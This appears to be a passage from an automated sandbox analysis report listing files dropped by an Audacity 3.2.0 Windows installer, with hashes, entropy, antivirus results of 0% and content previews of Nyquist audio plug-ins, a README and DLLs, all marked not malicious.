Preview:	;nyquist plug-in..;version 4..;type analyze..;name "Measure RMS"..;debugbutton false..;author "Steve Daulton"..;release 2.3.1-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; This plug-in demonstrates how authors of Nyquist plug-ins may add translations..;; for output messages. It is not currently possible to provide translations for strings..;; in the header comments (such as the plug-in name) of 3rd party plug-ins.......;; Translations strings:..;; The "en" translation is not normally required unless the original text is in another..;; language, but it can make testing easier...(setf locale.. '(("en" (("Left" "Left").. ("Right" "Right").. ("Stereo" "Stereo").. ("Mono" "Mono").. ("dB" "dB"))).. ("de" (("Left"

C:\Program Files\Audacity\Plug-Ins\sample-data-export.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18360
Entropy (8bit):	4.575046305658227
Encrypted:	false
SSDEEP:	96:Yy8rOsOMxq4LBHFGcykj+oPvzQHwU7MmosY4rfRYPmyUplisMFGz2NFE6HnReer0:crIDo394Wvj+QIRaqEJBqYC05Lbgfh
MD5:	C753F871D44C809B9251BBC8D1542C11
SHA1:	2E5D45A17884D8E7BB1AB4673A324D940D21B190
SHA-256:	43934DCF5BE5265D178701F09914348CCBF78FF93641626A89FF2051CF2291C9
SHA-512:	83D3DDCAF207C15E821705536744B79A81B2E2A340E24ED7DD0E702F525C14CA80F4EBB1322C9C15765896D2F6129577AB0557BD8DACF2EB623DA6CE0ACFAFBF
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool analyze..$name (_ "Sample Data Export")..$manpage "Sample_Data_Export"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;; To enable L/R prefix before alternate L/R channels..;; (text output with header only)..;; remove the semicolon from the start of the next line:..;(setq LR-prefix '("L: " "R: "))....$control number (_ "Limit output to first") int-text (_ "samples") 100 1 1000000..$control units (_ "Measurement scale") choice ((_ "dB") (_ "Linear")) 0..$control filename (_ "Export data to") file (_ "Select a file") "default/sample-data.txt" (((_ "Text file") (txt TXT)).. ((_ "CSV files") (csv CSV))..

C:\Program Files\Audacity\Plug-Ins\sample-data-import.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4001
Entropy (8bit):	4.676703169661069
Encrypted:	false
SSDEEP:	48:NryfyCBYeVN0ptB2lnj+idjXKEKtrQGJaEYQN/TbpDUprp5pbpD07gI8P1pKlYXk:ey8YkN0pTkhdjajtDldMh+l15FZ
MD5:	8C322496BCD7B1E4B4C31FF6924D46A2
SHA1:	8E448A53E8E6793FC0AC74E25A4F85568FE9D051
SHA-256:	FE8C87C40A2A1EDDF240029B14D2455013766DDD24F9BCA452BED084D30E7921
SHA-512:	3FA14D823F0D0C859D626DEB45E54796DF8ABEABDFF545D874FE9B24B6D9DF499B6C2CAAECD1C43B412BBA4901CAED344A29B50652839C06B5423B1379969C6B
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool generate..$name (_ "Sample Data Import")..$manpage "Sample_Data_Import"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control filename (_ "Select file") file "" "default/sample-data.txt" (((_ "Text file") (txt TXT)).. ((_ "All files") (""))) "open,exists"..$control bad-data (_ "Invalid data handling") choice (("ThrowError" (_ "Throw Error")).. ("ReadAsZero" (_ "Read as Zero"))) 0......;; Check file can be opened..(defun fileopensp (fname).. (cond.. ((not (setf fstream (open fname))).. (throw 'err (format nil (_ "Error~%~.. '~a' could not

C:\Program Files\Audacity\Plug-Ins\spectral-delete.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4818
Entropy (8bit):	4.715418364021868
Encrypted:	false
SSDEEP:	96:sy8jPozWAFUF3iFLF5yFqFcM3FQsEqHyFDS4SgFDQFDxMn8FrFlFcUNts676/UVY:kIW4yMGsviYs8xMn//d4yb
MD5:	A25B32609F06A4B46008B868FB2BB1E4
SHA1:	922C1B9BDE49765D4A016DBCD3EA98CB90372AA6
SHA-256:	78EA11C52A2CCD496FB15DC89DC8D6E3D4A7DA81331E2A3CE42D987ACF36C11D
SHA-512:	0E8A80F7F49B381D040FFEF1750CD0D16AE79C6A530F62D36F02B3494A33BEA1F098C9C8A8A8E547F90EEF2586C582C78DA6C3C963A1E3E533C27BC9676B4F36
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$name (_ "Spectral Delete")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......(defun sinc (x fc).. ;; http://www.dspguide.com/ch16/1.htm.. ;; Note that fc is a fraction of the sample rate... (if (= x 0).. (* 2 pi fc).. (/ (sin (* 2 pi fc x)) x)))....(defun blackman (i M).. ;; Where: 0 <= i <= M.. (+ 0.42.. (* -0.5 (cos (/ (* 2.0 pi i) M))).. (* 0.08 (cos (/ (* 4 pi i) M)))))....(defun calc-kernel (size fc).. ;; Generate windowed sinc kernel impulse.. (when (oddp size).. (error "Size of sinc filter must be even")).. (let ((ar (make-array (1+ size))).. (norm 0) ;Normalization factor.. val).. (do ((i 0 (1+ i))..

C:\Program Files\Audacity\Plug-Ins\tremolo.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	4.773453288496231
Encrypted:	false
SSDEEP:	24:Db1vjIPnxkCBhfHt++rAfYEMG9nhBK3VFfF4FSFpE9ObfVVxz:Db1rIfyCBhfNvrAAlGutISfVxz
MD5:	9BF1BC81FFF14FEE4A3B918E259F7E97
SHA1:	192B87F032EF3027A7DD60A62D8362BB197F0F7F
SHA-256:	2250C9DBE7719F4D888FC79692FB829F2CA84341B9FC38E57511B72A68CB021A
SHA-512:	5E891167EA16F8A9F414CE1DBB8C087C6F3AB140712729E64ADFB1BFDC08638B4B43140F6A8D5E227D2913ECA4AB804D1764EC469594B20C3AF4A97631D2D951
Malicious:	false
Preview:	$nyquist plug-in..$version 3..$type process..$preview linear..$name (_ "Tremolo")..$manpage "Tremolo"..$debugbutton disabled..$author (_ "Steve Daulton")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; tremolo.ny by Steve Daulton (www.easyspacepro.com) July 2012...;; Based on Tremolo by Dominic Mazzoni and David R. Sky."....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control wave (_ "Waveform type") choice ((_ "Sine").. (_C "Triangle" "waveform").. (_ "Sawtooth").. ("InverseSawtooth" (_ "Inverse Sawtooth")).. (_ "Square")) 0....$control phase (_ "Starting phase (degrees)") int "" 0 -180 180..$control wet (_ "Wet level

C:\Program Files\Audacity\Plug-Ins\vocalrediso.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12538
Entropy (8bit):	4.549087506938177
Encrypted:	false
SSDEEP:	192:KbIXUjTr/VlYatd7nvy2OeO0svb8DstuPcMW3EXzqrM1g4uyt:yr/VlYYK2Ot0sT81WWyM1g41
MD5:	CBC9BCAE286B565E362CE43B8BE8F0D5
SHA1:	F51615C466A826B38C40F8C6E60E0F468C373714
SHA-256:	8949EBE4761494D7706187770035B70032354CE530E3049A743CBF3159D48094
SHA-512:	6265A83683870C6E3B33AFAEC1C7606175C89E331BD0830CF4F84371D7CD4BA9E065694E419B031F52785B32A584ECA7AD4AD1D9E769C94790C6714C6C9051D9
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Vocal Reduction and Isolation")..$manpage "Vocal_Reduction_and_Isolation"..$debugbutton false..$author (_ "Robert Haenggi")..$release 3.0.1-1..$copyright (_ "GNU General Public License v2.0")......;; vocrediso.ny, based on rjh-stereo-tool.ny....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control action (_ "Action") choice (.. ("RemoveToMono" (_ "Remove Vocals: to mono")).. ("Remove" (_ "Remove Vocals")).. ("Isolate" (_ "Isolate Vocals")).. ("IsolateInvert" (_ "Isolate Vocals and Invert")).. ("RemoveCenterToMono" (_ "Remove Center: to mono")).. ("RemoveCenter" (_ "Remove Center")).. ("IsolateCenter" (_ "Isolate Center")).. ("IsolateCenterInvert" (_ "Isolate Center and Invert")).. (_ "Analyze")) 0..$control strength (_

C:\Program Files\Audacity\Plug-Ins\vocoder.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4085
Entropy (8bit):	4.77962918800592
Encrypted:	false
SSDEEP:	96:I+y8kVWA4tQIiGwM5DCFplVFGLnwpmKFMFXAFbF3FYpVRFC:IMA4tQ5M5g9Gzimo
MD5:	8B6EA608CB6BC2E647F51F3F0DDFC462
SHA1:	C3503EF087DF188A1531302FAFD7C2A649A5B420
SHA-256:	9F9A3A2ED163CB2F3A75DA9BCCBD3130F662D89E357FA31DA288156E39B93284
SHA-512:	7D51D47E4F781D08C7A0235117A9AE268F9F246A94B446339D63A3DFADAC00A069D58C2C6840DBDF07D15B1861C3881B01B32D4E1BCE3BAE90240C133367839F
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview enabled..$name (_ "Vocoder")..$manpage "Vocoder"..$debugbutton false..$author (_ "Edgar-RFT and Steve Daulton")..$release 3.1.2-1..$copyright (_ "GNU General Public License v2.0")......;; If selected track is mono, the vocoder uses sine waves as the modulation..;; carrier, mixed with noise and radar needles according to slider settings...;; If selected track is stereo, the right channel is used as the carrier wave.....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control dst (_ "Distance: (1 to 120, default = 20)") float "" 20 1 120..$control mst (_ "Output choice") choice (("BothChannels" (_ "Both Channels")).. ("RightOnly" (_ "Right Only"))) 0..$control bands (_ "Number of vocoder bands") int "" 40 10 240..$control track-

C:\Program Files\Audacity\README.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.081229978881397
Encrypted:	false
SSDEEP:	192:1ZwwM7FWNOMMTU5tZ5t9pUDtyMOrBaTrc7rBxrc5K40yrBY43O0jS:IwMJGTMTQ5t9pUhyrBcrc7rBxrcU7yr0
MD5:	78AC600E913127D6D53AB827C7336638
SHA1:	D4267C211E81AA1DF0B5813FF7288FF6A70D3043
SHA-256:	8FB189500AB4CD686907855261622567021AFEA0F4886E33232108DAFCAA0C36
SHA-512:	F7D9B19A6487E8F21BA50B4E79320962C83A97A154D9DC14BCEA4985A4AF9B0EA45565A3BD735D27F434F7823A13D345C933C111151714FC7652DB27CE04A2E5
Malicious:	false
Preview:	Audacity(R): free, open source, cross-platform audio software for ..multi-track recording and editing: https://www.audacityteam.org/ . ....See the CHANGELOG.txt file for a list of changes. ....User support is provided on Audacity Forum:..https://forum.audacityteam.org/ .....We welcome feedback on Audacity, suggestions for new or improved features, ..and bug reports. Please visit ..https://forum.audacityteam.org/viewforum.php?f=25 .....Audacity is copyright (c) 1999-2021 by Audacity Team. This copyright ..notice applies to all documents in the Audacity source code archive, ..except as otherwise noted (mostly in the lib-src subdirectories). .."Audacity" is a registered trademark. ....The Audacity documentation is licensed under the Creative Commons..Attribution 3.0 license: https://creativecommons.org/licenses/by/3.0/legalcode .....Compilation instructions for Audacity are provided in the BUILDING.md file.....You can ask for help with compilation problems at:..https://forum.audacityteam.

C:\Program Files\Audacity\concrt140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	317320
Entropy (8bit):	6.285201532205746
Encrypted:	false
SSDEEP:	6144:ft219yeaeO+1g29918EBf2wFrwtngwui28zinWVnWzgBoGEJq:1001en92EBfUx8zK
MD5:	22A0056FFD1C0B3081CA56F441CEC3C9
SHA1:	81EAAED525B7C714261F840F7CDB5164E45D734E
SHA-256:	782910B23F8A65EC477F886F7BCBDC67103354AF263BD30C0DCCABBFBC506BA1
SHA-512:	72CC4C4625555FD2FB2276A0A062D39FF2AC7B55A212CE6F58FBD7F58CA5A4A0D69E43A7B72BDAFA803C84BC400AFB5C274E455E5846C83D35D3F9BCE88BE41B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.R_X.._X.._X...*..]X..V :.UX..?"..XX.._X...X..?"..WX..?"..[X..?"...X..?"..^X..?"V.^X..?"..^X..Rich_X..........................PE..d......n.........." ... ..................................................................`A.............................................M...+...................6.......'......x...p5..p...........................04..@............................................text...\........................... ..`.rdata...M.......N..................@..@.data....@...@...:..................@....pdata...6.......8...h..............@..@.rsrc...............................@..@.reloc..x...........................@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\crashreporter.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1300456
Entropy (8bit):	5.176340422666014
Encrypted:	false
SSDEEP:	24576:UBIOwe4r6XKpikGUF3aHiYIMT03/RVSDiQfvxC6v/:Uj4r6XKpikGUF3aHiYITSDiQA6
MD5:	3CE01B304D9DBDE06EE1D57795214196
SHA1:	FD2656F5D2FE955BE1FB2B36C0B4A8643A606F1E
SHA-256:	C6D794C6D614BEC0DFE08BE2F7401E0C27091F11ECE700EBF76D78A3ACF7EDF3
SHA-512:	B4E891453D42628A22E408F9D635C68D1090244574E85F40CF54FD3EC9E14F15988199829E821EAC1EA22E9F0D2CCBD42C56DC3BFF5A7D49AE0FFF47F4274CC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........}J...J...J...C...^....../@....../I....../h....../L...../N...../O...J......../G...../k....../K.....B.K....../K...RichJ...................PE..d.....,c.........."....!.......................@....................................<~....`.................................................8...h............ ..db......./..............8.......................(.......@...............8'...........................text...b........................... ..`.rdata.......0......."..............@..@.data...............................@....pdata..\m... ...n..................@..@.idata..Z............t..............@..@.tls.................v..............@....00cfg..u............z..............@..@.rsrc................\|..............@..@.reloc...%.......&..................@..B........................................................................................................

C:\Program Files\Audacity\is-0KP7K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238056
Entropy (8bit):	5.483365699610266
Encrypted:	false
SSDEEP:	3072:SBrlI7oVFlKxmfKOi8kQdwIGm3Knb/XRRfTOZfBnhI:SNlFVmxMviI6In3Knb/XRRfTOZJny
MD5:	F00F89C0940C28BC3FDEFD3AE9598085
SHA1:	CD0614A3B2C0259A97770ABE79D7E56229E634AE
SHA-256:	4A154F448548DF693276DE6F6723BECD09C1CA938F02B3AE0623422579D7F914
SHA-512:	FCA20A43E5AAB4E06004C4CECA1B380C2065B3B0E175C2310CC81BC70680A30FCD06D7B57DC6E74EB4F5D872B37500EA77A089F3914027B2FA933C5DFAD35E98
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N.-...C...C...C.......C.h.B...C.h.F...C.h.G...C.h.@...C..B...C...B.J.C.k.G...C.k.@...C.k.C...C.k.....C.......C.k.A...C.Rich..C.................PE..d...b.b.........." ... .................................................................`..........................................A..k...............\|....`.......r.../......p.......8...........................p...@............................................text....F.......H.................. ..`asmcode..=...`...>...L.............. ..`.rdata..k...........................@..@.data........P.......8..............@....pdata.......`.......<..............@..@.idata...............P..............@..@.00cfg..u............b..............@..@.rsrc...\|............d..............@..@.reloc..;............n..............@..B........................................................................................................

C:\Program Files\Audacity\is-0UADG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.081229978881397
Encrypted:	false
SSDEEP:	192:1ZwwM7FWNOMMTU5tZ5t9pUDtyMOrBaTrc7rBxrc5K40yrBY43O0jS:IwMJGTMTQ5t9pUhyrBcrc7rBxrcU7yr0
MD5:	78AC600E913127D6D53AB827C7336638
SHA1:	D4267C211E81AA1DF0B5813FF7288FF6A70D3043
SHA-256:	8FB189500AB4CD686907855261622567021AFEA0F4886E33232108DAFCAA0C36
SHA-512:	F7D9B19A6487E8F21BA50B4E79320962C83A97A154D9DC14BCEA4985A4AF9B0EA45565A3BD735D27F434F7823A13D345C933C111151714FC7652DB27CE04A2E5
Malicious:	false
Preview:	Audacity(R): free, open source, cross-platform audio software for ..multi-track recording and editing: https://www.audacityteam.org/ . ....See the CHANGELOG.txt file for a list of changes. ....User support is provided on Audacity Forum:..https://forum.audacityteam.org/ .....We welcome feedback on Audacity, suggestions for new or improved features, ..and bug reports. Please visit ..https://forum.audacityteam.org/viewforum.php?f=25 .....Audacity is copyright (c) 1999-2021 by Audacity Team. This copyright ..notice applies to all documents in the Audacity source code archive, ..except as otherwise noted (mostly in the lib-src subdirectories). .."Audacity" is a registered trademark. ....The Audacity documentation is licensed under the Creative Commons..Attribution 3.0 license: https://creativecommons.org/licenses/by/3.0/legalcode .....Compilation instructions for Audacity are provided in the BUILDING.md file.....You can ask for help with compilation problems at:..https://forum.audacityteam.

C:\Program Files\Audacity\is-0UDPU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	562664
Entropy (8bit):	6.094695931347398
Encrypted:	false
SSDEEP:	6144:MyBlvZCennwKm59fxBxN0vjAvRU4XuMacOpBzylmGdStGX+TT2B/IbRRrmxsASaT:dwEQAVWmGh+TT2Boi3j
MD5:	099E2B638D0BDEB27FF2B3BDCF9A46FA
SHA1:	88D6CF97F168ABF0DDF67B7411D7518DFDC39EAB
SHA-256:	CEDDDA646B5056685FB7A4A87C9AD18D4280F0BF903C10D1945C23EC655D31F7
SHA-512:	1B5E16B89463D30143704ACB3D76B75292A63680BD0CF53A7DC207689EF758412B6058AFFD8BB23B5F10746E13B5387924DE8B9F2D0A8668605FAAB323CA599B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.EKw.+.w.+.w.+.~.....+....t.+.....z.+.../...+...(.s.+....u.+.w..X.+.../...+...+.v.+.....v.+...).v.+.Richw.+.........PE..d......b.........." ... ............#...............................................o.....`.........................................0........s..........<....@..l$...f.../..............8...........................@...@............p...............................text.............................. ..`.rdata.............................@..@.data...a....0......................@....pdata..4)...@.....................@..@.idata.......p.......H..............@..@.00cfg..u............V..............@..@.rsrc...<............X..............@..@.reloc..9............^..............@..B........................................................................................................................................................................

C:\Program Files\Audacity\is-19I02.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	146920
Entropy (8bit):	5.139641845313934
Encrypted:	false
SSDEEP:	1536:zII5pLcEDrzHyGJc3FKEYUeUYkT4TPd2U3qY7tnoxsxKzoybfJxEnlX6C:kI50GJc34EYUmU4TPd2U3q8Fy7J6nhV
MD5:	4A824AA92D474733C4D485D653F87D20
SHA1:	559628EFC8F41D841D7E604B1B9933DB41EF77E4
SHA-256:	E3541B33EACC76BF9FA86A1A804EE243E9E8425DE2631D059E00BCDB527AFDF5
SHA-512:	6980C2AC2DA322D31A48B06ABC7AB17241006CF184A6E7E8A5B2E5B8F2B040DD9781574FE18192B722A1323D61069864C97F9132F35A7A1F06B8DEBFCA7A23A8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{]...3..3..3.b...3.8a6..3.8a7..3.8a0..3.8a2..3.kh2..3.;c2..3..2.6.3.6a6..3.6a3..3.6a...3.6a1..3.Rich..3.........................PE..d...V.,c.........." ...!.N...................................................`.......]....`.................................................P........@..........<......../...P..@....z..8............................y..@...............P............................text....M.......N.................. ..`.rdata...h...`...j...R..............@..@.data...............................@....pdata..............................@..@.idata...(.......*..................@..@.00cfg..u....0......................@..@.rsrc........@......................@..@.reloc..a....P......................@..B................................................................................................................................................

C:\Program Files\Audacity\is-1J0J3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	420840
Entropy (8bit):	5.4561248767470225
Encrypted:	false
SSDEEP:	6144:IZYpEYEj5I9W95ANTCBWCb+gjbxQa9g6x1MqZoBaoZn6:IWJCxfRWnaA6
MD5:	8F3B39A63644B271696FC963E0FA2390
SHA1:	5B9C986788B0A07DB9B32FDA3C00300757AE6D52
SHA-256:	105C3A41C33CA8EB5E862C89C3E153147FB34975944D16295E2CBC923456BDCB
SHA-512:	A5F05E59FDBFE95F17094707920AB83E216B1BD48B29CB305F12A544AE0159E2D638771D1A04915BB0BA7B977113302C3690EE2819C78C726C7D7C73DB56CD14
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........L...L...L...E.+.F.....D.....H.....Q.....J.....N.....H.....G...L.........H.....M.....G.M.....M...RichL...........PE..d....,c.........." ...!.&...Z......A...............................................W.....`..........................................C..\|R...Q..T...............d ...<.../..........p...8.......................(......@............@...............................text....$.......&.................. ..`.rdata...V...@...X...*..............@..@.data....e..........................@....pdata...$.......&..................@..@.idata...`...@...b..................@..@.tls.................(..............@....00cfg..u............,..............@..@.rsrc...............................@..@.reloc...............4..............@..B................................................................................................................

C:\Program Files\Audacity\is-2SCU5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	317320
Entropy (8bit):	6.285201532205746
Encrypted:	false
SSDEEP:	6144:ft219yeaeO+1g29918EBf2wFrwtngwui28zinWVnWzgBoGEJq:1001en92EBfUx8zK
MD5:	22A0056FFD1C0B3081CA56F441CEC3C9
SHA1:	81EAAED525B7C714261F840F7CDB5164E45D734E
SHA-256:	782910B23F8A65EC477F886F7BCBDC67103354AF263BD30C0DCCABBFBC506BA1
SHA-512:	72CC4C4625555FD2FB2276A0A062D39FF2AC7B55A212CE6F58FBD7F58CA5A4A0D69E43A7B72BDAFA803C84BC400AFB5C274E455E5846C83D35D3F9BCE88BE41B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.R_X.._X.._X...*..]X..V :.UX..?"..XX.._X...X..?"..WX..?"..[X..?"...X..?"..^X..?"V.^X..?"..^X..Rich_X..........................PE..d......n.........." ... ..................................................................`A.............................................M...+...................6.......'......x...p5..p...........................04..@............................................text...\........................... ..`.rdata...M.......N..................@..@.data....@...@...:..................@....pdata...6.......8...h..............@..@.rsrc...............................@..@.reloc..x...........................@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-32N1E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77800
Entropy (8bit):	5.1415946482504316
Encrypted:	false
SSDEEP:	768:ubizvVVq/jsHKmrbOvsoBQY/OoYr+xCWnmkEYXzN:ubiHPHKmHzYQMOHWnlXzN
MD5:	7EA34FEA5E6844EF6AECF40D4E2E4755
SHA1:	B01C7EB1DEC67E84C49B56D855C44549F23F02C5
SHA-256:	EA1DDA597969188C34CDBB0B6A16E8FE429FEC38440F05F26DE75CCACA1DEE9C
SHA-512:	7EE62A59A6327943FB1D0E38DFD2528CAB45030DB72757DE9CA2151DCB51363C67252ABBF503E19F2B481E70BEBAA43D89E6E937A2148C3F5258F8825A2796D6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.{.v...v...v.......~.......t.......{.......~.......r.......t.......t.......u...v... .......w.......w.......w.......w...Richv...........PE..d...I7.c.........." ...!.....^...............................................`......Ee....`.........................................`................@..<................/...P..0.......8........................... ...@............................................text............................... ..`.rdata..\|(.......*..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u....0......................@..@.rsrc...<....@......................@..@.reloc.......P......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-37ABV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	616424
Entropy (8bit):	5.7316838583683705
Encrypted:	false
SSDEEP:	6144:YDx59zsI2bwni0i8hRCdmKasgHx4yq0SKePn3ug4IJ8UCLpuTCPniT:oxD72bwnHqiiyq0SKCm7xv0
MD5:	742C11D8FB906F724549BEC4A74FAD07
SHA1:	DBEB4D6C524C604FDF73E9927DE64AA39DB46115
SHA-256:	C39701CEB9EE0757AC76D1405364D1819C5079139313BEFC9C0EEF5F715C79E6
SHA-512:	CF7B9B74FBC64B0B22D4C9E7B79EF1F2A5156E76C23C5D5FEC3660309E763C91BC07AD4C6288A8FC1E20F2F7E918F0AD43B0C5808AE744C1FB494663633BAB2E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......x..<...<...<...5.......^...>...^.p.;...^...1...^...4...^...8...\...>...<..........5...].....]...=...].r.=...<...=...]...=...Rich<...........................PE..d...@).b.........." ... ............2.....................................................`.................................................(<..@....p...........H...8.../......,...p...8...............................@............0..(............................text...4........................... ..`.rdata..............................@..@.data...a0.......&...z..............@....pdata...P.......R..................@..@.idata..I(...0...*..................@..@.00cfg..u....`......................@..@.rsrc........p......................@..@.reloc..^............(..............@..B................................................................................................................................

C:\Program Files\Audacity\is-3RF3V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25520
Entropy (8bit):	6.052725299275264
Encrypted:	false
SSDEEP:	384:Pu1vZLEtU/POoKFYdWcp5gWaSKLHRN71dEjR9z0gi:WpqtcPOj6XLA1dEF9z
MD5:	9C1447BC98B6633B3E6964C5BA68483A
SHA1:	57743AFCFD13ECE2830B8F44AF744BBD10DE7263
SHA-256:	7D52238FF5A7AF6F4A5E229B1A7465A20FC17E2B401DA5DA9215A3073BF238C2
SHA-512:	A63FE4059ED519C3FD56CE012B08C8A7836A8563B738A19B2EA8A8FC7E48B4637A68D357CAE754E0A3D4A3509968BCD67DE69365925EC0F67209FE6E4E2555D6
Malicious:	false
